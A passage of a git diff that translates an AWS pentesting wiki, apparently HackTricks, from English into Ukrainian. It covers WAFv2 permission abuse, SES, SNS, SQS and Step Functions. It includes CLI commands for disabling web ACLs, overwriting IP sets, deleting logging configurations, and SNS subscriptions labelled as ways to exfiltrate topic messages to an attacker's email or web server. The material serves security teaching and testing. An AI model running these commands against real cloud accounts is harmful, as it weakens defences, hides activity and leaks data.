Impact**: Unauthorized access, data breaches, and potential DoS attacks. +**Потенційний вплив**: Неавторизований доступ, витоки даних та потенційні атаки DoS. #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -The **`wafv2:AssociateWebACL`** permission would allow an attacker to associate web ACLs (Access Control Lists) with resources, being able to bypass security controls, allowing unauthorized traffic to reach the application, potentially leading to exploits like SQL injection or cross-site scripting (XSS). Conversely, with the **`wafv2:DisassociateWebACL`** permission, the attacker could temporarily disable security protections, exposing the resources to vulnerabilities without detection. +Дозвіл **`wafv2:AssociateWebACL`** дозволив би зловмиснику асоціювати веб ACL (Списки контролю доступу) з ресурсами, що дозволяє обійти засоби безпеки, дозволяючи несанкціонованому трафіку досягати програми, що потенційно призводить до експлуатацій, таких як SQL-ін'єкція або міжсайтове скриптування (XSS). Навпаки, з дозволом **`wafv2:DisassociateWebACL`** зловмисник міг би тимчасово відключити засоби безпеки, піддаючи ресурси вразливостям без виявлення. -The additional permissions would be needed depending on the protected resource type: - -- **Associate** - - apigateway:SetWebACL - - apprunner:AssociateWebAcl - - appsync:SetWebACL - - cognito-idp:AssociateWebACL - - ec2:AssociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl -- **Disassociate** - - apigateway:SetWebACL - - apprunner:DisassociateWebAcl - - appsync:SetWebACL - - cognito-idp:DisassociateWebACL - - ec2:DisassociateVerifiedAccessInstanceWebAcl - - elasticloadbalancing:SetWebAcl +Додаткові дозволи знадобляться в залежності від типу захищеного ресурсу: +- **Асоціювати** +- apigateway:SetWebACL +- apprunner:AssociateWebAcl +- appsync:SetWebACL +- cognito-idp:AssociateWebACL +- ec2:AssociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl +- **Від'єднати** +- apigateway:SetWebACL +- apprunner:DisassociateWebAcl +- appsync:SetWebACL +- cognito-idp:DisassociateWebACL +- ec2:DisassociateVerifiedAccessInstanceWebAcl +- elasticloadbalancing:SetWebAcl ```bash # Associate aws wafv2 associate-web-acl --web-acl-arn --resource-arn # Disassociate aws wafv2 disassociate-web-acl --resource-arn ``` - -**Potential Impact**: Compromised resources security, increased risk of exploitation, and potential service disruptions within AWS environments protected by AWS WAF. +**Потенційний вплив**: Скомпрометована безпека ресурсів, підвищений ризик експлуатації та потенційні збої в обслуговуванні в середовищах AWS, захищених AWS WAF. #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** -An attacker would be able to create, update and delete the IP sets managed by AWS WAF. This could be dangerous since could create new IP sets to allow malicious traffic, modify IP sets in order to block legitimate traffic, update existing IP sets to include malicious IP addresses, remove trusted IP addresses or delete critical IP sets that are meant to protect critical resources. - +Зловмисник зможе створювати, оновлювати та видаляти IP набори, керовані AWS WAF. Це може бути небезпечно, оскільки він може створити нові IP набори для дозволу шкідливого трафіку, змінити IP набори для блокування легітимного трафіку, оновити існуючі IP набори, щоб включити шкідливі IP-адреси, видалити довірені IP-адреси або видалити критично важливі IP набори, які призначені для захисту критичних ресурсів. ```bash # Create IP set aws wafv2 create-ip-set --name --ip-address-version --addresses --scope | CLOUDFRONT --region=us-east-1> @@ -389,23 +370,19 @@ aws wafv2 update-ip-set --name --id --addresses --lock-t # Delete IP set aws wafv2 delete-ip-set --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` - -The following example shows how to **overwrite the existing IP set by the desired IP set**: - +Наступний приклад показує, як **перезаписати існуючий набір IP на бажаний набір IP**: ```bash aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1 ``` - -**Potential Impact**: Unauthorized access and block of legitimate traffic. +**Потенційний вплив**: Несанкціонований доступ та блокування легітимного трафіку. #### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -An attacker with these permissions would be able to manipulate the regular expression pattern sets used by AWS WAF to control and filter incoming traffic based on specific patterns. - -- Creating new regex patterns would help an attacker to allow harmful content -- Updating the existing patterns, an attacker would to bypass security rules -- Deleting patterns that are designed to block malicious activities could lead an attacker to the send malicious payloads and bypass the security measures. +Зловмисник з цими дозволами зможе маніпулювати наборами шаблонів регулярних виразів, які використовуються AWS WAF для контролю та фільтрації вхідного трафіку на основі конкретних шаблонів. +- Створення нових шаблонів регулярних виразів допоможе зловмиснику дозволити шкідливий контент +- Оновлення існуючих шаблонів дозволить зловмиснику обійти правила безпеки +- Видалення шаблонів, які призначені для блокування шкідливих дій, може дозволити зловмиснику надсилати шкідливі дані та обійти заходи безпеки. ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -414,62 +391,51 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` - -**Potential Impact**: Bypass security controls, allowing malicious content and potentially exposing sensitive data or disrupting services and resources protected by AWS WAF. +**Потенційний вплив**: Обхід засобів безпеки, що дозволяє шкідливому контенту і потенційно викриває чутливі дані або порушує роботу сервісів і ресурсів, захищених AWS WAF. #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** -An attacker with the **`wafv2:DeleteLoggingConfiguration`** would be able to remove the logging configuration from the specified Web ACL. Subsequently, with the **`wavf2:PutLoggingConfiguration`** and **`iam:CreateServiceLinkedRole`** permissions, an attacker could create or replace logging configurations (after having deleted it) to either prevent logging altogether or redirect logs to unauthorized destinations, such as Amazon S3 buckets, Amazon CloudWatch Logs log group or an Amazon Kinesis Data Firehose under control. +Зловмисник з **`wafv2:DeleteLoggingConfiguration`** зможе видалити конфігурацію журналювання з вказаного Web ACL. Після цього, з дозволами **`wavf2:PutLoggingConfiguration`** та **`iam:CreateServiceLinkedRole`**, зловмисник може створити або замінити конфігурації журналювання (після їх видалення), щоб або зовсім запобігти журналюванню, або перенаправити журнали на несанкціоновані місця, такі як кошики Amazon S3, групи журналів Amazon CloudWatch Logs або Amazon Kinesis Data Firehose під контролем. -During the creation process, the service automatically sets up the necessary permissions to allow logs to be written to the specified logging destination: +Під час процесу створення сервіс автоматично налаштовує необхідні дозволи, щоб дозволити запис журналів у вказане місце журналювання: -- **Amazon CloudWatch Logs:** AWS WAF creates a resource policy on the designated CloudWatch Logs log group. This policy ensures that AWS WAF has the permissions required to write logs to the log group. -- **Amazon S3 Bucket:** AWS WAF creates a bucket policy on the designated S3 bucket. This policy grants AWS WAF the permissions necessary to upload logs to the specified bucket. -- **Amazon Kinesis Data Firehose:** AWS WAF creates a service-linked role specifically for interacting with Kinesis Data Firehose. This role allows AWS WAF to deliver logs to the configured Firehose stream. +- **Amazon CloudWatch Logs:** AWS WAF створює політику ресурсу на призначеній групі журналів CloudWatch Logs. Ця політика забезпечує, що AWS WAF має необхідні дозволи для запису журналів у групу журналів. +- **Amazon S3 Bucket:** AWS WAF створює політику кошика на призначеному кошику S3. Ця політика надає AWS WAF необхідні дозволи для завантаження журналів у вказаний кошик. +- **Amazon Kinesis Data Firehose:** AWS WAF створює роль, пов'язану з сервісом, спеціально для взаємодії з Kinesis Data Firehose. Ця роль дозволяє AWS WAF доставляти журнали до налаштованого потоку Firehose. > [!NOTE] -> It is possible to define only one logging destination per web ACL. - +> Можливо визначити лише одне місце журналювання на веб ACL. ```bash # Put logging configuration aws wafv2 put-logging-configuration --logging-configuration # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` - -**Potential Impact:** Obscure visibility into security events, difficult the incident response process, and facilitate covert malicious activities within AWS WAF-protected environments. +**Потенційний вплив:** Непрозорість видимості в події безпеки, ускладнення процесу реагування на інциденти та сприяння прихованій злочинній діяльності в середовищах, захищених AWS WAF. #### **`wafv2:DeleteAPIKey`** -An attacker with this permissions would be able to delete existing API keys, rendering the CAPTCHA ineffective and disrupting the functionality that relies on it, such as form submissions and access controls. Depending on the implementation of this CAPTCHA, this could lead either to a CAPTCHA bypass or to a DoS if the error management is not properly set in the resource. - +Зловмисник з цими правами зможе видаляти існуючі API-ключі, що зробить CAPTCHA неефективним і порушить функціональність, яка на ньому базується, таку як надсилання форм та контроль доступу. Залежно від реалізації цього CAPTCHA, це може призвести або до обходу CAPTCHA, або до DoS, якщо управління помилками не налаштоване належним чином у ресурсі. ```bash # Delete API key aws wafv2 delete-api-key --api-key --scope | CLOUDFRONT --region=us-east-1> ``` - -**Potential Impact**: Disable CAPTCHA protections or disrupt application functionality, leading to security breaches and potential data theft. +**Потенційний вплив**: Вимкнення захисту CAPTCHA або порушення функціональності програми, що призводить до порушень безпеки та потенційної крадіжки даних. #### **`wafv2:TagResource`, `wafv2:UntagResource`** -An attacker would be able to add, modify, or remove tags from AWS WAFv2 resources, such as Web ACLs, rule groups, IP sets, regex pattern sets, and logging configurations. - +Зловмисник зможе додавати, змінювати або видаляти теги з ресурсів AWS WAFv2, таких як Web ACL, групи правил, набори IP, набори шаблонів regex та конфігурації журналювання. ```bash # Tag aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` +**Потенційний вплив**: Підробка ресурсів, витік інформації, маніпуляція витратами та порушення операційної діяльності. -**Potential Impact**: Resource tampering, information leakage, cost manipulation and operational disruption. - -## References +## Посилання - [https://www.citrusconsulting.com/aws-web-application-firewall-waf/#:\~:text=Conditions%20allow%20you%20to%20specify,user%20via%20a%20web%20application](https://www.citrusconsulting.com/aws-web-application-firewall-waf/) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index bc6af90f1..f8bf325c1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -2,45 +2,40 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -Amazon Simple Email Service (Amazon SES) is designed for **sending and receiving emails**. It enables users to send transactional, marketing, or notification emails efficiently and securely at scale. It **integrates well with other AWS services**, providing a robust solution for managing email communications for businesses of all sizes. +Amazon Simple Email Service (Amazon SES) призначений для **відправки та отримання електронних листів**. Він дозволяє користувачам ефективно та безпечно відправляти транзакційні, маркетингові або повідомлення про сповіщення в масштабах. Він **добре інтегрується з іншими сервісами AWS**, надаючи надійне рішення для управління електронною поштою для бізнесу будь-якого розміру. -You need to register **identities**, which can be domains or emails addresses that will be able to interact with SES (e.g. send and receive emails). +Вам потрібно зареєструвати **ідентифікатори**, які можуть бути доменами або адресами електронної пошти, що зможуть взаємодіяти з SES (наприклад, відправляти та отримувати електронні листи). -### SMTP User - -It's possible to connect to a **SMTP server of AWS to perform actions** instead of using the AWS API (or in addition). For this you need to create a user with a policy such as: +### SMTP Користувач +Можливо підключитися до **SMTP сервера AWS для виконання дій** замість використання AWS API (або додатково). Для цього вам потрібно створити користувача з політикою, такою як: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "ses:SendRawEmail", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "ses:SendRawEmail", +"Resource": "*" +} +] } ``` - -Then, gather the **API key and secret** of the user and run: - +Тоді зберіть **API ключ і секрет** користувача та виконайте: ```bash git clone https://github.com/lisenet/ses-smtp-converter.git cd ./ses-smtp-converter chmod u+x ./ses-smtp-conv.sh ./ses-smtp-conv.sh ``` - -It's also possible to do this from the AWS console web. +Це також можливо зробити з веб-консолі AWS. ### Enumeration > [!WARNING] -> Note that SES has 2 APIs: **`ses`** and **`sesv2`**. Some actions are in both APIs and others are just in one of the two. - +> Зверніть увагу, що SES має 2 API: **`ses`** та **`sesv2`**. Деякі дії є в обох API, а інші лише в одному з двох. ```bash # Get info about the SES account aws sesv2 get-account @@ -117,15 +112,10 @@ aws ses get-send-quota ## Get statistics aws ses get-send-statistics ``` - -### Post Exploitation +### Постексплуатація {{#ref}} ../aws-post-exploitation/aws-ses-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index cca4353cb..ac5e94276 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -4,18 +4,17 @@ ## SNS -Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types. +Amazon Simple Notification Service (Amazon SNS) описується як **повністю керована служба обміну повідомленнями**. Вона підтримує як **додаток-додатку** (A2A), так і **додаток-людина** (A2P) типи комунікації. -Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern. +Ключові особливості для A2A комунікації включають **механізми публікації/підписки (pub/sub)**. Ці механізми вводять **теми**, які є критично важливими для забезпечення високої пропускної здатності, **пуш-орієнтованого, багато до багатьох обміну повідомленнями**. Ця функція є надзвичайно вигідною в сценаріях, що включають розподілені системи, мікросервіси та архітектури безсерверних подій. Використовуючи ці теми, системи видавців можуть ефективно розподіляти повідомлення на **широкий спектр систем підписників**, полегшуючи патерн обміну повідомленнями fanout. -### **Difference with SQS** +### **Різниця з SQS** -**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\ -On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\ -While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns. - -### **Enumeration** +**SQS** є **службою на основі черг**, яка дозволяє точкову комунікацію, забезпечуючи обробку повідомлень **одиничним споживачем**. Вона пропонує **доставку принаймні один раз**, підтримує стандартні та FIFO черги, а також дозволяє зберігання повідомлень для повторних спроб і затриманої обробки.\ +З іншого боку, **SNS** є **службою на основі публікації/підписки**, що дозволяє **один до багатьох** комунікацію, транслюючи повідомлення **багатьом підписникам** одночасно. Вона підтримує **різні кінцеві точки підписки, такі як електронна пошта, SMS, функції Lambda та HTTP/HTTPS**, і надає механізми фільтрації для цільової доставки повідомлень.\ +Хоча обидві служби дозволяють декомпозицію між компонентами в розподілених системах, SQS зосереджується на комунікації через черги, а SNS підкреслює патерни комунікації на основі подій та fan-out. +### **Перерахування** ```bash # Get topics & subscriptions aws sns list-topics @@ -24,29 +23,28 @@ aws sns list-subscriptions-by-topic --topic-arn # Check privescs & post-exploitation aws sns publish --region \ - --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ - --message file://message.txt +--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ +--message file://message.txt # Exfiltrate through email ## You will receive an email to confirm the subscription aws sns subscribe --region \ - --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ - --protocol email \ - --notification-endpoint my-email@example.com +--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ +--protocol email \ +--notification-endpoint my-email@example.com # Exfiltrate through web server ## You will receive an initial request with a URL in the field "SubscribeURL" ## that you need to access to confirm the subscription aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - > [!CAUTION] -> Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used). +> Зверніть увагу, що якщо **тема є типу FIFO**, можуть бути використані лише підписники, які використовують протокол **SQS** (HTTP або HTTPS не можуть бути використані). > -> Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> Також, навіть якщо `--topic-arn` містить регіон, переконайтеся, що ви вказали правильний регіон у **`--region`**, інакше ви отримаєте помилку, яка виглядає так, ніби вказує, що у вас немає доступу, але проблема в регіоні. #### Unauthenticated Access @@ -77,7 +75,3 @@ aws sns subscribe --region \ - [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 1da888587..c42116219 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,10 +4,9 @@ ## SQS -Amazon Simple Queue Service (SQS) is presented as a **fully managed message queuing service**. Its main function is to assist in the scaling and decoupling of microservices, distributed systems, and serverless applications. The service is designed to remove the need for managing and operating message-oriented middleware, which can often be complex and resource-intensive. This elimination of complexity allows developers to direct their efforts towards more innovative and differentiating aspects of their work. +Amazon Simple Queue Service (SQS) представлений як **повністю керована служба черг повідомлень**. Його основна функція полягає в допомозі в масштабуванні та розділенні мікросервісів, розподілених систем і безсерверних додатків. Служба розроблена для усунення необхідності в управлінні та експлуатації програмного забезпечення для обробки повідомлень, що часто може бути складним і ресурсомістким. Це усунення складності дозволяє розробникам зосередити свої зусилля на більш інноваційних і відмінних аспектах їхньої роботи. ### Enumeration - ```bash # Get queues info aws sqs list-queues @@ -18,9 +17,8 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` - > [!CAUTION] -> Also, even if the `--queue-url` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> Також, навіть якщо `--queue-url` містить регіон, переконайтеся, що ви вказали правильний регіон у **`--region`**, інакше ви отримаєте помилку, яка виглядає так, ніби вказує на те, що у вас немає доступу, але проблема в регіоні. #### Unauthenticated Access @@ -51,7 +49,3 @@ aws sqs send-message --queue-url --message-body - https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 873629bba..4b1abb544 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,266 +4,253 @@ ## Step Functions -AWS Step Functions is a workflow service that enables you to coordinate and orchestrate multiple AWS services into serverless workflows. By using AWS Step Functions, you can design and run workflows that connect various AWS services such as AWS Lambda, Amazon S3, Amazon DynamoDB, and many more, in a sequence of steps. This orchestration service provides a visual workflow interface and offers **state machine** capabilities, allowing you to define each step of the workflow in a declarative manner using JSON-based **Amazon States Language** (ASL). +AWS Step Functions - це сервіс робочих процесів, який дозволяє вам координувати та організовувати кілька сервісів AWS у безсерверні робочі процеси. Використовуючи AWS Step Functions, ви можете проектувати та виконувати робочі процеси, які з'єднують різні сервіси AWS, такі як AWS Lambda, Amazon S3, Amazon DynamoDB та багато інших, у послідовності кроків. Цей сервіс оркестрації надає візуальний інтерфейс робочого процесу та пропонує можливості **машини станів**, що дозволяє вам визначати кожен крок робочого процесу декларативним чином, використовуючи JSON-формат **Amazon States Language** (ASL). ## Key concepts ### Standard vs. Express Workflows -AWS Step Functions offers two types of **state machine workflows**: Standard and Express. +AWS Step Functions пропонує два типи **робочих процесів машини станів**: Standard та Express. -- **Standard Workflow**: This default workflow type is designed for long-running, durable, and auditable processes. It supports **exactly-once execution**, ensuring tasks run only once unless retries are specified. It is ideal for workflows needing detailed execution history and can run for up to one year. -- **Express Workflow**: This type is ideal for high-volume, short-duration tasks, running up to five minutes. They support **at-least-once execution**, suitable for idempotent tasks like data processing. These workflows are optimized for cost and performance, charging based on executions, duration, and memory usage. +- **Standard Workflow**: Цей тип робочого процесу за замовчуванням призначений для тривалих, надійних та аудиторських процесів. Він підтримує **точне виконання один раз**, забезпечуючи виконання завдань лише один раз, якщо не вказані повторні спроби. Ідеально підходить для робочих процесів, які потребують детальної історії виконання, і може працювати до одного року. +- **Express Workflow**: Цей тип ідеально підходить для завдань з високим обсягом та короткою тривалістю, що тривають до п'яти хвилин. Вони підтримують **виконання принаймні один раз**, що підходить для ідемпотентних завдань, таких як обробка даних. Ці робочі процеси оптимізовані для витрат та продуктивності, стягуючи плату на основі виконань, тривалості та використання пам'яті. ### States -States are the essential units of state machines. They define the individual steps within a workflow, being able to perform a variety of functions depending on its type: +Стан є основними одиницями машин станів. Вони визначають окремі кроки в робочому процесі, здатні виконувати різноманітні функції в залежності від їх типу: -- **Task:** Executes a job, often using an AWS service like Lambda. -- **Choice:** Makes decisions based on input. -- **Fail/Succeed:** Ends the execution with a failure or success. -- **Pass:** Passes input to output or injects data. -- **Wait:** Delays execution for a set time. -- **Parallel:** Initiates parallel branches. -- **Map:** Dynamically iterates steps over items. +- **Task:** Виконує завдання, часто використовуючи сервіс AWS, такий як Lambda. +- **Choice:** Приймає рішення на основі вхідних даних. +- **Fail/Succeed:** Завершує виконання з помилкою або успіхом. +- **Pass:** Передає вхідні дані на вихід або вводить дані. +- **Wait:** Затримує виконання на певний час. +- **Parallel:** Ініціює паралельні гілки. +- **Map:** Динамічно ітерує кроки над елементами. ### Task -A **Task** state represents a single unit of work executed by a state machine. Tasks can invoke various resources, including activities, Lambda functions, AWS services, or third-party APIs. +Стан **Task** представляє собою єдину одиницю роботи, виконувану машиною станів. Завдання можуть викликати різні ресурси, включаючи активності, функції Lambda, сервіси AWS або сторонні API. -- **Activities**: Custom workers you manage, suitable for long-running processes. - - Resource: **`arn:aws:states:region:account:activity:name`**. -- **Lambda Functions**: Executes AWS Lambda functions. - - Resource: **`arn:aws:lambda:region:account:function:function-name`**. -- **AWS Services**: Integrates directly with other AWS services, like DynamoDB or S3. - - Resource: **`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Task**: Calls third-party APIs. - - Resource field: **`arn:aws:states:::http:invoke`**. Then, you should provide the API endpoint configuration details, such as the API URL, method, and authentication details. - -The following example shows a Task state definition that invokes a Lambda function called HelloWorld: +- **Activities**: Користувацькі працівники, які ви керуєте, підходять для тривалих процесів. +- Ресурс: **`arn:aws:states:region:account:activity:name`**. +- **Lambda Functions**: Виконує функції AWS Lambda. +- Ресурс: **`arn:aws:lambda:region:account:function:function-name`**. +- **AWS Services**: Інтегрується безпосередньо з іншими сервісами AWS, такими як DynamoDB або S3. +- Ресурс: **`arn:partition:states:region:account:servicename:APIname`**. +- **HTTP Task**: Викликає сторонні API. +- Поле ресурсу: **`arn:aws:states:::http:invoke`**. Потім ви повинні надати деталі конфігурації кінцевої точки API, такі як URL API, метод та деталі аутентифікації. +Наступний приклад показує визначення стану Task, який викликає функцію Lambda під назвою HelloWorld: ```json "HelloWorld": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "Payload.$": "$", - "FunctionName": "arn:aws:lambda:::function:HelloWorld" - }, - "End": true +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"Payload.$": "$", +"FunctionName": "arn:aws:lambda:::function:HelloWorld" +}, +"End": true } ``` - ### Choice -A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results. +Стан **Choice** додає умовну логіку до робочого процесу, що дозволяє приймати рішення на основі вхідних даних. Він оцінює вказані умови та переходить до відповідного стану на основі результатів. -- **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable. -- **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true. - -Example of **Choice** state: +- **Comparison**: Кожне правило вибору включає оператор порівняння (наприклад, **`NumericEquals`**, **`StringEquals`**), який порівнює вхідну змінну з вказаним значенням або іншою змінною. +- **Next Field**: Стан вибору не підтримує поле **`End`**, натомість вони визначають стан **`Next`**, до якого потрібно перейти, якщо порівняння є істинним. +Приклад стану **Choice**: ```json { - "Variable": "$.timeStamp", - "TimestampEquals": "2000-01-01T00:00:00Z", - "Next": "TimeState" +"Variable": "$.timeStamp", +"TimestampEquals": "2000-01-01T00:00:00Z", +"Next": "TimeState" } ``` - ### Fail/Succeed -A **`Fail`** state stops the execution of a state machine and marks it as a failure. It is used to specify an error name and a cause, providing details about the failure. This state is terminal, meaning it ends the execution flow. +Стан **`Fail`** зупиняє виконання машини станів і позначає його як невдале. Він використовується для вказівки назви помилки та причини, надаючи деталі про невдачу. Цей стан є термінальним, що означає, що він завершує потік виконання. -A **`Succeed`** state stops the execution successfully. It is typically used to terminate the workflow when it completes successfully. This state does not require a **`Next`** field. +Стан **`Succeed`** зупиняє виконання успішно. Він зазвичай використовується для завершення робочого процесу, коли він успішно завершується. Цей стан не вимагає поля **`Next`**. {{#tabs }} {{#tab name="Fail example" }} - ```json "FailState": { - "Type": "Fail", - "Error": "ErrorName", - "Cause": "Error details" +"Type": "Fail", +"Error": "ErrorName", +"Cause": "Error details" } ``` - {{#endtab }} -{{#tab name="Succeed example" }} - +{{#tab name="Приклад успіху" }} ```json "SuccessState": { - "Type": "Succeed" +"Type": "Succeed" } ``` - {{#endtab }} {{#endtabs }} ### Pass -A **Pass** state passes its input to its output either without performing any work or transformin JSON state input using filters, and then passing the transformed data to the next state. It is useful for testing and constructing state machines, allowing you to inject static data or transform it. - +Стан **Pass** передає свій вхідний сигнал на вихід або без виконання будь-якої роботи, або перетворюючи вхідний JSON стан за допомогою фільтрів, а потім передаючи перетворені дані до наступного стану. Це корисно для тестування та побудови станів машин, дозволяючи вам впроваджувати статичні дані або перетворювати їх. ```json "PassState": { - "Type": "Pass", - "Result": {"key": "value"}, - "ResultPath": "$.newField", - "Next": "NextState" +"Type": "Pass", +"Result": {"key": "value"}, +"ResultPath": "$.newField", +"Next": "NextState" +} +``` +### Wait + +Стан **Wait** затримує виконання машини станів на вказаний проміжок часу. Є три основні методи для налаштування часу очікування: + +- **X Seconds**: Фіксована кількість секунд для очікування. + +```json +"WaitState": { +"Type": "Wait", +"Seconds": 10, +"Next": "NextState" } ``` -### Wait +- **Absolute Timestamp**: Точний час, до якого потрібно чекати. -A **Wait** state delays the execution of the state machine for a specified duration. There are three primary methods to configure the wait time: +```json +"WaitState": { +"Type": "Wait", +"Timestamp": "2024-03-14T01:59:00Z", +"Next": "NextState" +} +``` -- **X Seconds**: A fixed number of seconds to wait. +- **Dynamic Wait**: На основі вхідних даних за допомогою **`SecondsPath`** або **`TimestampPath`**. - ```json - "WaitState": { - "Type": "Wait", - "Seconds": 10, - "Next": "NextState" - } - ``` - -- **Absolute Timestamp**: An exact time to wait until. - - ```json - "WaitState": { - "Type": "Wait", - "Timestamp": "2024-03-14T01:59:00Z", - "Next": "NextState" - } - ``` - -- **Dynamic Wait**: Based on input using **`SecondsPath`** or **`TimestampPath`**. - - ```json - jsonCopiar código - "WaitState": { - "Type": "Wait", - "TimestampPath": "$.expirydate", - "Next": "NextState" - } - ``` +```json +jsonCopiar código +"WaitState": { +"Type": "Wait", +"TimestampPath": "$.expirydate", +"Next": "NextState" +} +``` ### Parallel -A **Parallel** state allows you to execute multiple branches of tasks concurrently within your workflow. Each branch runs independently and processes its own sequence of states. The execution waits until all branches complete before proceeding to the next state. Its key fields are: - -- **Branches**: An array defining the parallel execution paths. Each branch is a separate state machine. -- **ResultPath**: Defines where (in the input) to place the combined output of the branches. -- **Retry and Catch**: Error handling configurations for the parallel state. +Стан **Parallel** дозволяє виконувати кілька гілок завдань одночасно у вашому робочому процесі. Кожна гілка виконується незалежно та обробляє свою власну послідовність станів. Виконання чекає, поки всі гілки завершаться, перш ніж перейти до наступного стану. Його ключові поля: +- **Branches**: Масив, що визначає паралельні шляхи виконання. Кожна гілка є окремою машиною станів. +- **ResultPath**: Визначає, де (вхідних даних) розмістити об'єднаний вихід гілок. +- **Retry and Catch**: Налаштування обробки помилок для паралельного стану. ```json "ParallelState": { - "Type": "Parallel", - "Branches": [ - { - "StartAt": "Task1", - "States": { ... } - }, - { - "StartAt": "Task2", - "States": { ... } - } - ], - "Next": "NextState" +"Type": "Parallel", +"Branches": [ +{ +"StartAt": "Task1", +"States": { ... } +}, +{ +"StartAt": "Task2", +"States": { ... } +} +], +"Next": "NextState" +} +``` +### Map + +Стан **Map** дозволяє виконання набору кроків для кожного елемента в наборі даних. Він використовується для паралельної обробки даних. В залежності від того, як ви хочете обробляти елементи набору даних, Step Functions надає наступні режими: + +- **Inline Mode**: Виконує підмножину станів для кожного елемента JSON масиву. Підходить для маломасштабних завдань з менше ніж 40 паралельними ітераціями, виконуючи кожну з них в контексті робочого процесу, що містить стан **`Map`**. + 